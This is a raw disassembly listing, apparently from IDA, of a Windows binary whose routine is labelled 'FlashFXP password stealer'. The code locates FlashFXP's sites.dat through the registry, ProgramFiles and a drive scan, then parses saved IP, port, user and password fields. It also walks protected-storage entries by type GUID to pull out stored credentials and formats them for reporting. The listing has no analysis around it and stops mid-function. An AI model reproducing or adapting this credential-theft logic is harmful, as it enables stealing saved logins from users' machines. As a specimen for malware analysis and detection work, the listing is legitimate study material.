"yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D2E0 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D2D8 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D2AC ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D240 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D204 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call dword_41DE50 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D570 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D53C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D538 ; "%x" lea eax, [ebp-0A48h] push eax call dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D570 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D570 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: .data:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D570 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DE00 lea eax, [ebp-7FCh] push eax call dword_4170FC ; lstrcpy push offset byte_41DE00 lea eax, [ebp-0DF0h] push eax call dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D4E8 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DE00 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D484 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call dword_4170FC ; lstrcpy push offset dword_41D474 lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D474 lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D474 lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D474 lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D474 mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D434 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" 